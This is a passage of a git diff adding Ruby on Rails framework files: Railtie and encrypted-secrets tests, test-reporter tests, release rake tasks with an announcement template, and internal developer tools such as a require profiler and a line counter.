+      extend Rack::Test::Methods
+      get "/"
+      assert $to_prepare
+    end
+
+    test "railtie have access to application in before_configuration callbacks" do
+      $before_configuration = false
+      class Foo < Rails::Railtie ; config.before_configuration { $before_configuration = Rails.root.to_path } ; end
+      assert_not $before_configuration
+      require "#{app_path}/config/environment"
+      assert_equal app_path, $before_configuration
+    end
+
+    test "before_configuration callbacks run as soon as the application constant inherits from Rails::Application" do
+      $before_configuration = false
+      class Foo < Rails::Railtie ; config.before_configuration { $before_configuration = true } ; end
+      class Application < Rails::Application ; end
+      assert $before_configuration
+    end
+
+    test "railtie can add after_initialize callbacks" do
+      $after_initialize = false
+      class Foo < Rails::Railtie ; config.after_initialize { $after_initialize = true } ; end
+      assert !$after_initialize
+      require "#{app_path}/config/environment"
+      assert $after_initialize
+    end
+
+    test "rake_tasks block is executed when MyApp.load_tasks is called" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        rake_tasks do
+          $ran_block = true
+        end
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      require "rake"
+      require "rake/testtask"
+      require "rdoc/task"
+
+      Rails.application.load_tasks
+      assert $ran_block
+    end
+
+    test "rake_tasks block defined in superclass of railtie is also executed" do
+      $ran_block = []
+
+      class Rails::Railtie
+        rake_tasks do
+          $ran_block << railtie_name
+        end
+      end
+
+      class MyTie < Rails::Railtie
+        railtie_name "my_tie"
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert_equal [], $ran_block
+      require "rake"
+      require "rake/testtask"
+      require "rdoc/task"
+
+      Rails.application.load_tasks
+      assert_includes $ran_block, "my_tie"
+    end
+
+    test "generators block is executed when MyApp.load_generators is called" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        generators do
+          $ran_block = true
+        end
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      Rails.application.load_generators
+      assert $ran_block
+    end
+
+    test "console block is executed when MyApp.load_console is called" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        console do
+          $ran_block = true
+        end
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      Rails.application.load_console
+      assert $ran_block
+    end
+
+    test "runner block is executed when MyApp.load_runner is called" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        runner do
+          $ran_block = true
+        end
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      Rails.application.load_runner
+      assert $ran_block
+    end
+
+    test "railtie can add initializers" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        initializer :something_nice do
+          $ran_block = true
+        end
+      end
+
+      assert !$ran_block
+      require "#{app_path}/config/environment"
+      assert $ran_block
+    end
+
+    test "we can change our environment if we want to" do
+      begin
+        original_env = Rails.env
+        Rails.env = "foo"
+        assert_equal("foo", Rails.env)
+      ensure
+        Rails.env = original_env
+        assert_equal(original_env, Rails.env)
+      end
+    end
+  end
+end
diff --git a/railties/test/secrets_test.rb b/railties/test/secrets_test.rb
new file mode 100644
index 0000000000..d78c253765
--- /dev/null
+++ b/railties/test/secrets_test.rb
@@ -0,0 +1,176 @@
+require "abstract_unit"
+require "isolation/abstract_unit"
+require "rails/generators"
+require "rails/generators/rails/encrypted_secrets/encrypted_secrets_generator"
+require "rails/secrets"
+
+class Rails::SecretsTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  test "setting read to false skips parsing" do
+    run_secrets_generator do
+      Rails::Secrets.write(<<-end_of_secrets)
+        test:
+          yeah_yeah: lets-walk-in-the-cool-evening-light
+      end_of_secrets
+
+      Rails.application.config.read_encrypted_secrets = false
+      Rails.application.instance_variable_set(:@secrets, nil) # Dance around caching 💃🕺
+      assert_not Rails.application.secrets.yeah_yeah
+    end
+  end
+
+  test "raises when reading secrets without a key" do
+    run_secrets_generator do
+      FileUtils.rm("config/secrets.yml.key")
+
+      assert_raises Rails::Secrets::MissingKeyError do
+        Rails::Secrets.key
+      end
+    end
+  end
+
+  test "reading with ENV variable" do
+    run_secrets_generator do
+      begin
+        old_key = ENV["RAILS_MASTER_KEY"]
+        ENV["RAILS_MASTER_KEY"] = IO.binread("config/secrets.yml.key").strip
+        FileUtils.rm("config/secrets.yml.key")
+
+        assert_match "production:\n#  external_api_key", Rails::Secrets.read
+      ensure
+        ENV["RAILS_MASTER_KEY"] = old_key
+      end
+    end
+  end
+
+  test "reading from key file" do
+    run_secrets_generator do
+      File.binwrite("config/secrets.yml.key", "00112233445566778899aabbccddeeff")
+
+      assert_equal "00112233445566778899aabbccddeeff", Rails::Secrets.key
+    end
+  end
+
+  test "editing" do
+    run_secrets_generator do
+      decrypted_path = nil
+
+      Rails::Secrets.read_for_editing do |tmp_path|
+        decrypted_path = tmp_path
+
+        assert_match(/production:\n#  external_api_key/, File.read(tmp_path))
+
+        File.write(tmp_path, "Empty streets, empty nights. The Downtown Lights.")
+      end
+
+      assert_not File.exist?(decrypted_path)
+      assert_equal "Empty streets, empty nights. The Downtown Lights.", Rails::Secrets.read
+    end
+  end
+
+  test "merging secrets with encrypted precedence" do
+    run_secrets_generator do
+      File.write("config/secrets.yml", <<-end_of_secrets)
+        test:
+          yeah_yeah: lets-go-walking-down-this-empty-street
+      end_of_secrets
+
+      Rails::Secrets.write(<<-end_of_secrets)
+        test:
+          yeah_yeah: lets-walk-in-the-cool-evening-light
+      end_of_secrets
+
+      Rails.application.config.read_encrypted_secrets = true
+      Rails.application.instance_variable_set(:@secrets, nil) # Dance around caching 💃🕺
+      assert_equal "lets-walk-in-the-cool-evening-light", Rails.application.secrets.yeah_yeah
+    end
+  end
+
+  test "refer secrets inside env config" do
+    run_secrets_generator do
+      Rails::Secrets.write(<<-end_of_yaml)
+        production:
+          some_secret: yeah yeah
+      end_of_yaml
+
+      add_to_env_config "production", <<-end_of_config
+        config.dereferenced_secret = Rails.application.secrets.some_secret
+      end_of_config
+
+      assert_equal "yeah yeah\n", `bin/rails runner -e production "puts Rails.application.config.dereferenced_secret"`
+    end
+  end
+
+  test "do not update secrets.yml.enc when secretes do not change" do
+    run_secrets_generator do
+      Rails::Secrets.read_for_editing do |tmp_path|
+        File.write(tmp_path, "Empty streets, empty nights. The Downtown Lights.")
+      end
+
+      FileUtils.cp("config/secrets.yml.enc", "config/secrets.yml.enc.bk")
+
+      Rails::Secrets.read_for_editing do |tmp_path|
+        File.write(tmp_path, "Empty streets, empty nights. The Downtown Lights.")
+      end
+
+      assert_equal File.read("config/secrets.yml.enc.bk"), File.read("config/secrets.yml.enc")
+    end
+  end
+
+  test "can read secrets written in binary" do
+    run_secrets_generator do
+      secrets = <<-end_of_secrets
+        production:
+          api_key: 00112233445566778899aabbccddeeff…
+      end_of_secrets
+
+      Rails::Secrets.write(secrets.force_encoding(Encoding::ASCII_8BIT))
+
+      Rails::Secrets.read_for_editing do |tmp_path|
+        assert_match(/production:\n\s*api_key: 00112233445566778899aabbccddeeff…\n/, File.read(tmp_path))
+      end
+
+      assert_equal "00112233445566778899aabbccddeeff…\n", `bin/rails runner -e production "puts Rails.application.secrets.api_key"`
+    end
+  end
+
+  test "can read secrets written in non-binary" do
+    run_secrets_generator do
+      secrets = <<-end_of_secrets
+        production:
+          api_key: 00112233445566778899aabbccddeeff…
+      end_of_secrets
+
+      Rails::Secrets.write(secrets)
+
+      Rails::Secrets.read_for_editing do |tmp_path|
+        assert_equal(secrets.force_encoding(Encoding::ASCII_8BIT), IO.binread(tmp_path))
+      end
+
+      assert_equal "00112233445566778899aabbccddeeff…\n", `bin/rails runner -e production "puts Rails.application.secrets.api_key"`
+    end
+  end
+
+  private
+    def run_secrets_generator
+      Dir.chdir(app_path) do
+        capture(:stdout) do
+          Rails::Generators::EncryptedSecretsGenerator.start
+        end
+
+        # Make config.paths["config/secrets"] to be relative to app_path
+        Rails.application.config.root = app_path
+
+        yield
+      end
+    end
+end
diff --git a/railties/test/test_unit/reporter_test.rb b/railties/test/test_unit/reporter_test.rb
new file mode 100644
index 0000000000..42f973357b
--- /dev/null
+++ b/railties/test/test_unit/reporter_test.rb
@@ -0,0 +1,196 @@
+require "abstract_unit"
+require "rails/test_unit/reporter"
+require "minitest/mock"
+
+class TestUnitReporterTest < ActiveSupport::TestCase
+  class ExampleTest < Minitest::Test
+    def woot; end
+  end
+
+  setup do
+    @output = StringIO.new
+    @reporter = Rails::TestUnitReporter.new @output, output_inline: true
+  end
+
+  test "prints rerun snippet to run a single failed test" do
+    @reporter.record(failed_test)
+    @reporter.report
+
+    assert_match %r{^bin/rails test .*test/test_unit/reporter_test\.rb:\d+$}, @output.string
+    assert_rerun_snippet_count 1
+  end
+
+  test "prints rerun snippet for every failed test" do
+    @reporter.record(failed_test)
+    @reporter.record(failed_test)
+    @reporter.record(failed_test)
+    @reporter.report
+
+    assert_rerun_snippet_count 3
+  end
+
+  test "does not print snippet for successful and skipped tests" do
+    @reporter.record(passing_test)
+    @reporter.record(skipped_test)
+    @reporter.report
+    assert_no_match "Failed tests:", @output.string
+    assert_rerun_snippet_count 0
+  end
+
+  test "prints rerun snippet for skipped tests if run in verbose mode" do
+    verbose = Rails::TestUnitReporter.new @output, verbose: true
+    verbose.record(skipped_test)
+    verbose.report
+
+    assert_rerun_snippet_count 1
+  end
+
+  test "allows to customize the executable in the rerun snippet" do
+    original_executable = Rails::TestUnitReporter.executable
+    begin
+      Rails::TestUnitReporter.executable = "bin/test"
+      @reporter.record(failed_test)
+      @reporter.report
+
+      assert_match %r{^bin/test .*test/test_unit/reporter_test\.rb:\d+$}, @output.string
+    ensure
+      Rails::TestUnitReporter.executable = original_executable
+    end
+  end
+
+  test "outputs failures inline" do
+    @reporter.record(failed_test)
+    @reporter.report
+
+    expect = %r{\AF\n\nFailure:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nboo\n\nbin/rails test test/test_unit/reporter_test\.rb:\d+\n\n\z}
+    assert_match expect, @output.string
+  end
+
+  test "outputs errors inline" do
+    @reporter.record(errored_test)
+    @reporter.report
+
+    expect = %r{\AE\n\nError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n    \n\nbin/rails test .*test/test_unit/reporter_test\.rb:\d+\n\n\z}
+    assert_match expect, @output.string
+  end
+
+  test "outputs skipped tests inline if verbose" do
+    verbose = Rails::TestUnitReporter.new @output, verbose: true, output_inline: true
+    verbose.record(skipped_test)
+    verbose.report
+
+    expect = %r{\ATestUnitReporterTest::ExampleTest#woot = 10\.00 s = S\n\n\nSkipped:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nskipchurches, misstemples\n\nbin/rails test test/test_unit/reporter_test\.rb:\d+\n\n\z}
+    assert_match expect, @output.string
+  end
+
+  test "does not output rerun snippets after run" do
+    @reporter.record(failed_test)
+    @reporter.report
+
+    assert_no_match "Failed tests:", @output.string
+  end
+
+  test "fail fast interrupts run on failure" do
+    fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true
+    interrupt_raised = false
+
+    # Minitest passes through Interrupt, catch it manually.
+    begin
+      fail_fast.record(failed_test)
+    rescue Interrupt
+      interrupt_raised = true
+    ensure
+      assert interrupt_raised, "Expected Interrupt to be raised."
+    end
+  end
+
+  test "fail fast interrupts run on error" do
+    fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true
+    interrupt_raised = false
+
+    # Minitest passes through Interrupt, catch it manually.
+    begin
+      fail_fast.record(errored_test)
+    rescue Interrupt
+      interrupt_raised = true
+    ensure
+      assert interrupt_raised, "Expected Interrupt to be raised."
+    end
+  end
+
+  test "fail fast does not interrupt run skips" do
+    fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true
+
+    fail_fast.record(skipped_test)
+    assert_no_match "Failed tests:", @output.string
+  end
+
+  test "outputs colored passing results" do
+    @output.stub(:tty?, true) do
+      colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true
+      colored.record(passing_test)
+
+      expect = %r{\e\[32m\.\e\[0m}
+      assert_match expect, @output.string
+    end
+  end
+
+  test "outputs colored skipped results" do
+    @output.stub(:tty?, true) do
+      colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true
+      colored.record(skipped_test)
+
+      expect = %r{\e\[33mS\e\[0m}
+      assert_match expect, @output.string
+    end
+  end
+
+  test "outputs colored failed results" do
+    @output.stub(:tty?, true) do
+      colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true
+      colored.record(errored_test)
+
+      expected = %r{\e\[31mE\e\[0m\n\n\e\[31mError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n    \n\e\[0m}
+      assert_match expected, @output.string
+    end
+  end
+
+  private
+    def assert_rerun_snippet_count(snippet_count)
+      assert_equal snippet_count, @output.string.scan(%r{^bin/rails test }).size
+    end
+
+    def failed_test
+      ft = ExampleTest.new(:woot)
+      ft.failures << begin
+                       raise Minitest::Assertion, "boo"
+                     rescue Minitest::Assertion => e
+                       e
+                     end
+      ft
+    end
+
+    def errored_test
+      error = ArgumentError.new("wups")
+      error.set_backtrace([ "some_test.rb:4" ])
+
+      et = ExampleTest.new(:woot)
+      et.failures << Minitest::UnexpectedError.new(error)
+      et
+    end
+
+    def passing_test
+      ExampleTest.new(:woot)
+    end
+
+    def skipped_test
+      st = ExampleTest.new(:woot)
+      st.failures << begin
+                       raise Minitest::Skip, "skipchurches, misstemples"
+                     rescue Minitest::Assertion => e
+                       e
+                     end
+      st.time = 10
+      st
+    end
+end
diff --git a/railties/test/version_test.rb b/railties/test/version_test.rb
new file mode 100644
index 0000000000..86a482e091
--- /dev/null
+++ b/railties/test/version_test.rb
@@ -0,0 +1,12 @@
+require "abstract_unit"
+
+class VersionTest < ActiveSupport::TestCase
+  def test_rails_version_returns_a_string
+    assert Rails.version.is_a? String
+  end
+
+  def test_rails_gem_version_returns_a_correct_gem_version_object
+    assert Rails.gem_version.is_a? Gem::Version
+    assert_equal Rails.version, Rails.gem_version.to_s
+  end
+end
diff --git a/tasks/release.rb b/tasks/release.rb
new file mode 100644
index 0000000000..b3bbbb0076
--- /dev/null
+++ b/tasks/release.rb
@@ -0,0 +1,251 @@
+FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack activejob actionmailer actioncable railties )
+FRAMEWORK_NAMES = Hash.new { |h, k| k.split(/(?<=active|action)/).map(&:capitalize).join(" ") }
+
+root    = File.expand_path("..", __dir__)
+version = File.read("#{root}/RAILS_VERSION").strip
+tag     = "v#{version}"
+gem_version = Gem::Version.new(version)
+
+directory "pkg"
+
+# This "npm-ifies" the current version number
+# With npm, versions such as "5.0.0.rc1" or "5.0.0.beta1.1" are not compliant with its
+# versioning system, so they must be transformed to "5.0.0-rc1" and "5.0.0-beta1-1" respectively.
+
+# "5.0.1"     --> "5.0.1"
+# "5.0.1.1"   --> "5.0.1-1" *
+# "5.0.0.rc1" --> "5.0.0-rc1"
+#
+# * This makes it a prerelease. That's bad, but we haven't come up with
+# a better solution at the moment.
+npm_version = version.gsub(/\./).with_index { |s, i| i >= 2 ? "-" : s }
+
+(FRAMEWORKS + ["rails"]).each do |framework|
+  namespace framework do
+    gem     = "pkg/#{framework}-#{version}.gem"
+    gemspec = "#{framework}.gemspec"
+
+    task :clean do
+      rm_f gem
+    end
+
+    task :update_versions do
+      glob = root.dup
+      if framework == "rails"
+        glob << "/version.rb"
+      else
+        glob << "/#{framework}/lib/*"
+        glob << "/gem_version.rb"
+      end
+
+      file = Dir[glob].first
+      ruby = File.read(file)
+
+      major, minor, tiny, pre = version.split(".", 4)
+      pre = pre ? pre.inspect : "nil"
+
+      ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
+      raise "Could not insert MAJOR in #{file}" unless $1
+
+      ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
+      raise "Could not insert MINOR in #{file}" unless $1
+
+      ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY  = #{tiny}")
+      raise "Could not insert TINY in #{file}" unless $1
+
+      ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE   = #{pre}")
+      raise "Could not insert PRE in #{file}" unless $1
+
+      File.open(file, "w") { |f| f.write ruby }
+
+      require "json"
+      if File.exist?("#{framework}/package.json") && JSON.parse(File.read("#{framework}/package.json"))["version"] != npm_version
+        Dir.chdir("#{framework}") do
+          if sh "which npm"
+            sh "npm version #{npm_version} --no-git-tag-version"
+          else
+            raise "You must have npm installed to release Rails."
+          end
+        end
+      end
+    end
+
+    task gem => %w(update_versions pkg) do
+      cmd = ""
+      cmd << "cd #{framework} && " unless framework == "rails"
+      cmd << "bundle exec rake package && " unless framework == "rails"
+      cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
+      sh cmd
+    end
+
+    task build: [:clean, gem]
+    task install: :build do
+      sh "gem install --pre #{gem}"
+    end
+
+    task push: :build do
+      sh "gem push #{gem}"
+
+      if File.exist?("#{framework}/package.json")
+        Dir.chdir("#{framework}") do
+          npm_tag = version =~ /[a-z]/ ? "pre" : "latest"
+          sh "npm publish --tag #{npm_tag}"
+        end
+      end
+    end
+  end
+end
+
+namespace :changelog do
+  task :header do
+    (FRAMEWORKS + ["guides"]).each do |fw|
+      require "date"
+      fname = File.join fw, "CHANGELOG.md"
+      current_contents = File.read(fname)
+
+      header = "## Rails #{version} (#{Date.today.strftime('%B %d, %Y')}) ##\n\n"
+      header << "*   No changes.\n\n\n" if current_contents =~ /\A##/
+      contents = header + current_contents
+      File.open(fname, "wb") { |f| f.write contents }
+    end
+  end
+
+  task :release_date do
+    (FRAMEWORKS + ["guides"]).each do |fw|
+      require "date"
+      replace = "## Rails #{version} (#{Date.today.strftime('%B %d, %Y')}) ##\n"
+      fname = File.join fw, "CHANGELOG.md"
+
+      contents = File.read(fname).sub(/^(## Rails .*)\n/, replace)
+      File.open(fname, "wb") { |f| f.write contents }
+    end
+  end
+
+  task :release_summary do
+    (FRAMEWORKS + ["guides"]).each do |fw|
+      puts "## #{fw}"
+      fname    = File.join fw, "CHANGELOG.md"
+      contents = File.readlines fname
+      contents.shift
+      changes = []
+      changes << contents.shift until contents.first =~ /^\*Rails \d+\.\d+\.\d+/
+      puts changes.reject { |change| change.strip.empty? }.join
+      puts
+    end
+  end
+end
+
+namespace :all do
+  task build: FRAMEWORKS.map { |f| "#{f}:build"           } + ["rails:build"]
+  task update_versions: FRAMEWORKS.map { |f| "#{f}:update_versions" } + ["rails:update_versions"]
+  task install: FRAMEWORKS.map { |f| "#{f}:install"         } + ["rails:install"]
+  task push: FRAMEWORKS.map { |f| "#{f}:push"            } + ["rails:push"]
+
+  task :ensure_clean_state do
+    unless `git status -s | grep -v 'RAILS_VERSION\\|CHANGELOG\\|Gemfile.lock\\|package.json\\|version.rb\\|tasks/release.rb'`.strip.empty?
+      abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
+    end
+
+    unless ENV["SKIP_TAG"] || `git tag | grep '^#{tag}$'`.strip.empty?
+      abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
+            "           been released? Git tagging can be skipped by setting SKIP_TAG=1"
+    end
+  end
+
+  task verify: :install do
+    app_name = "pkg/verify-#{version}-#{Time.now.to_i}"
+    sh "rails _#{version}_ new #{app_name} --skip-bundle" # Generate with the right version.
+    cd app_name
+
+    # Replace the generated gemfile entry with the exact version.
+    File.write("Gemfile", File.read("Gemfile").sub(/^gem 'rails.*/, "gem 'rails', '#{version}'"))
+    sh "bundle"
+
+    sh "rails generate scaffold user name admin:boolean && rails db:migrate"
+
+    puts "Booting a Rails server. Verify the release by:"
+    puts
+    puts "- Seeing the correct release number on the root page"
+    puts "- Viewing /users"
+    puts "- Creating a user"
+    puts "- Updating a user (e.g. disable the admin flag)"
+    puts "- Deleting a user on /users"
+    puts "- Whatever else you want."
+    begin
+      sh "rails server"
+    rescue Interrupt
+      # Server passes along interrupt. Prevent halting verify task.
+    end
+  end
+
+  task :bundle do
+    sh "bundle check"
+  end
+
+  task :commit do
+    unless `git status -s`.strip.empty?
+      File.open("pkg/commit_message.txt", "w") do |f|
+        f.puts "# Preparing for #{version} release\n"
+        f.puts
+        f.puts "# UNCOMMENT THE LINE ABOVE TO APPROVE THIS COMMIT"
+      end
+
+      sh "git add . && git commit --verbose --template=pkg/commit_message.txt"
+      rm_f "pkg/commit_message.txt"
+    end
+  end
+
+  task :tag do
+    sh "git tag -s -m '#{tag} release' #{tag}"
+    sh "git push --tags"
+  end
+
+  task prep_release: %w(ensure_clean_state build bundle commit)
+
+  task release: %w(prep_release tag push)
+end
+
+module Announcement
+  class Version
+    def initialize(version)
+      @version, @gem_version = version, Gem::Version.new(version)
+    end
+
+    def to_s
+      @version
+    end
+
+    def previous
+      @gem_version.segments[0, 3].tap { |v| v[2] -= 1 }.join(".")
+    end
+
+    def major_or_security?
+      @gem_version.segments[2].zero? || @gem_version.segments[3].is_a?(Integer)
+    end
+
+    def rc?
+      @version =~ /rc/
+    end
+  end
+end
+
+task :announce do
+  Dir.chdir("pkg/") do
+    versions = ENV["VERSIONS"] ? ENV["VERSIONS"].split(",") : [ version ]
+    versions = versions.sort.map { |v| Announcement::Version.new(v) }
+
+   raise "Only valid for patch releases" if versions.any?(&:major_or_security?)
+
+    if versions.any?(&:rc?)
+      require "date"
+      future_date = Date.today + 5
+      future_date += 1 while future_date.saturday? || future_date.sunday?
+
+      github_user = `git config github.user`.chomp
+    end
+
+    require "erb"
+    template = File.read("../tasks/release_announcement_draft.erb")
+    puts ERB.new(template, nil, "<>").result(binding)
+  end
+end
diff --git a/tasks/release_announcement_draft.erb b/tasks/release_announcement_draft.erb
new file mode 100644
index 0000000000..3dbb8c053f
--- /dev/null
+++ b/tasks/release_announcement_draft.erb
@@ -0,0 +1,38 @@
+Hi everyone,
+
+I am happy to announce that Rails <%= versions.join(" and ") %> <%= versions.size > 1 ? "have" : "has" %> been released.
+
+<% if future_date %>
+If no regressions are found, expect the final release on <%= future_date.strftime("%A, %B %-d, %Y") %>.
+If you find one, please open an [issue on GitHub](https://github.com/rails/rails/issues/new)
+<%= "and mention me (@#{github_user}) on it, " unless github_user.empty? %>so that we can fix it before the final release.
+<% end %>
+<% versions.each do |version| %>
+
+## CHANGES since <%= version.previous %>
+
+To view the changes for each gem, please read the changelogs on GitHub:
+  <% FRAMEWORKS.sort.each do |framework| %>
+<%= "* [#{FRAMEWORK_NAMES[framework]} CHANGELOG](https://github.com/rails/rails/blob/v#{version}/#{framework}/CHANGELOG.md)" %>
+  <% end %>
+
+*Full listing*
+
+To see the full list of changes, [check out all the commits on
+GitHub](https://github.com/rails/rails/compare/v<%= "#{version.previous}...v#{version}" %>).
+  <% end %>
+## SHA-256
+
+If you'd like to verify that your gem is the same as the one I've uploaded,
+please use these SHA-256 hashes.
+
+<% versions.each do |version| %>
+Here are the checksums for <%= version %>:
+
+```
+$ shasum -a 256 *-<%= version %>.gem
+<%= `shasum -a 256 *-#{version}.gem` %>
+```
+
+<% end %>
+As always, huge thanks to the many contributors who helped with this release.
diff --git a/tools/README.md b/tools/README.md
new file mode 100644
index 0000000000..f133b27128
--- /dev/null
+++ b/tools/README.md
@@ -0,0 +1,10 @@
+# Rails dev tools
+
+This is a collection of utilities used for Rails internal development.
+They aren't used by Rails apps directly.
+
+  * `console` drops you in irb and loads local Rails repos
+  * `profile` profiles `Kernel#require` to help reduce startup time
+  * `line_statistics` provides CodeTools module and LineStatistics class to count lines
+  * `test` is loaded by every major component of Rails to simplify testing, for example:
+    `cd ./actioncable; bin/test ./path/to/actioncable_test_with_line_number.rb:5`
diff --git a/tools/console b/tools/console
new file mode 100755
index 0000000000..58c76fb1b6
--- /dev/null
+++ b/tools/console
@@ -0,0 +1,9 @@
+#!/usr/bin/env ruby
+require "bundler"
+Bundler.setup
+
+require "rails/all"
+require "active_support/all"
+require "irb"
+require "irb/completion"
+IRB.start
diff --git a/tools/line_statistics b/tools/line_statistics
new file mode 100644
index 0000000000..d0b3557d7d
--- /dev/null
+++ b/tools/line_statistics
@@ -0,0 +1,42 @@
+# Class used to calculate LOC for a provided file list.
+#
+# Example:
+#   files = FileList["lib/active_record/**/*.rb"]
+#   CodeTools::LineStatistics.new(files).print_loc
+module CodeTools
+  class LineStatistics
+
+    # @param files [Array, FileList, Enumerable]
+    # e.g. FileList["lib/active_record/**/*.rb"]
+    def initialize(files)
+      @files = Array(files).compact
+    end
+
+    # Calculates LOC for each file
+    # Outputs each file and a total LOC
+    def print_loc
+      lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+      @files.each do |file_name|
+        next if file_name =~ /vendor/
+        File.open(file_name, 'r') do |f|
+          while line = f.gets
+            lines += 1
+            next if line =~ /^\s*$/
+            next if line =~ /^\s*#/
+            codelines += 1
+          end
+        end
+        puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+        total_lines     += lines
+        total_codelines += codelines
+
+        lines, codelines = 0, 0
+      end
+
+      puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+    end
+
+  end
+end
diff --git a/tools/profile b/tools/profile
new file mode 100755
index 0000000000..01e513c67a
--- /dev/null
+++ b/tools/profile
@@ -0,0 +1,136 @@
+#!/usr/bin/env ruby
+# Profile require calls giving information about the time and the files that are called
+# when loading the provided file.
+#
+# Example:
+#   tools/profile activesupport/lib/active_support.rb [ruby-prof mode] [ruby-prof printer]
+ENV["NO_RELOAD"] ||= "1"
+ENV["RAILS_ENV"] ||= "development"
+
+module CodeTools
+  class Profiler
+    Error = Class.new(StandardError)
+
+    attr_reader :path, :mode
+    def initialize(path, mode = nil)
+      assert_ruby_file_exists(path)
+      @path, @mode = path, mode
+      require "benchmark"
+    end
+
+    def profile_requires
+      GC.start
+      before_rss = `ps -o rss= -p #{Process.pid}`.to_i
+
+      if mode
+        require "ruby-prof"
+        RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
+        RubyProf.start
+      else
+        Object.instance_eval { include RequireProfiler }
+      end
+
+      elapsed = Benchmark.realtime { require path }
+      results = RubyProf.stop if mode
+
+      GC.start
+      after_rss = `ps -o rss= -p #{Process.pid}`.to_i
+
+      if mode
+        if printer = ARGV.shift
+          puts "RubyProf outputting to stderr with printer #{printer}"
+          RubyProf.const_get("#{printer.to_s.classify}Printer").new(results).print($stdout)
+        elsif RubyProf.const_defined?(:CallStackPrinter)
+          filename = "#{File.basename(path, '.rb')}.#{mode}.html"
+          puts "RubyProf outputting to #{filename}"
+          File.open(filename, "w") do |out|
+            RubyProf::CallStackPrinter.new(results).print(out)
+          end
+        else
+          filename = "#{File.basename(path, '.rb')}.#{mode}.callgrind"
+          puts "RubyProf outputting to #{filename}"
+          File.open(filename, "w") do |out|
+            RubyProf::CallTreePrinter.new(results).print(out)
+          end
+        end
+      end
+
+      RequireProfiler.stats.each do |file, depth, sec|
+        if sec
+          puts "%8.1f ms  %s%s" % [sec * 1000, " " * depth, file]
+        else
+          puts "#{' ' * (13 + depth)}#{file}"
+        end
+      end
+      puts "%8.1f ms  %d KB RSS" % [elapsed * 1000, after_rss - before_rss]
+    end
+
+    private
+
+      def assert_ruby_file_exists(path)
+        fail Error.new("No such file") unless File.exist?(path)
+        fail Error.new("#{path} is a directory") if File.directory?(path)
+        ruby_extension = File.extname(path) == ".rb"
+        ruby_executable = File.open(path, "rb") { |f| f.readline } =~ [/\A#!.*ruby/]
+        fail Error.new("Not a ruby file") unless ruby_extension || ruby_executable
+      end
+
+      module RequireProfiler
+        private
+          def require(file, *args) RequireProfiler.profile(file) { super } end
+          def load(file, *args) RequireProfiler.profile(file) { super } end
+
+          @depth, @stats = 0, []
+          class << self
+            attr_accessor :depth
+            attr_accessor :stats
+
+            def profile(file)
+              stats << [file, depth]
+              self.depth += 1
+              result = nil
+              elapsed = Benchmark.realtime { result = yield }
+              self.depth -= 1
+              stats.pop if stats.last.first == file
+              stats << [file, depth, elapsed] if result
+              result
+            end
+          end
+      end
+  end
+end
+# ruby-prof printer name causes the third arg to be sent :classify
+#   which is probably overkill if you already know the name of the ruby-prof
+#   printer you want to use, e.g. Graph
+begin
+  require "active_support/inflector"
+  require "active_support/core_ext/string/inflections"
+rescue LoadError
+  STDERR.puts $!.message
+  class String
+    # File activesupport/lib/active_support/inflector/methods.rb, line 150
+    def classify
+      # strip out any leading schema name
+      camelize(sub(/.*\./, ""))
+    end
+    # File activesupport/lib/active_support/inflector/methods.rb, line 68
+    def camelize(uppercase_first_letter = true)
+      string = self
+      if uppercase_first_letter
+        string = string.sub(/^[a-z\d]*/) { |match| match.capitalize }
+      else
+        string = string.sub(/^(?:(?=\b|[A-Z_])|\w)/) { |match| match.downcase }
+      end
+      string.gsub(/(?:_|(\/))([a-z\d]*)/) { "#{$1}#{$2.capitalize}" }.gsub("/", "::")
+    end
+  end
+end
+if $0 == __FILE__
+  if (filename = ARGV.shift)
+    path = File.expand_path(filename)
+    mode = ARGV.shift
+    CodeTools::Profiler.new(path, mode).profile_requires
+  else
+    STDERR.puts "No file path entered. Usage is tools/profile path/to/file.rb [ruby-prof mode] [ruby-prof printer]"
+  end
+end
diff --git a/tools/test.rb b/tools/test.rb
new file mode 100644
index 0000000000..774e4ec6c7
--- /dev/null
+++ b/tools/test.rb
@@ -0,0 +1,24 @@
+$: << File.expand_path("test", COMPONENT_ROOT)
+
+require "bundler"
+Bundler.setup
+
+require "rails/test_unit/runner"
+require "rails/test_unit/reporter"
+require "rails/test_unit/line_filtering"
+require "active_support"
+require "active_support/test_case"
+
+class << Rails
+  # Necessary to get rerun-snippets working.
+  def root
+    @root ||= Pathname.new(COMPONENT_ROOT)
+  end
+  alias __root root
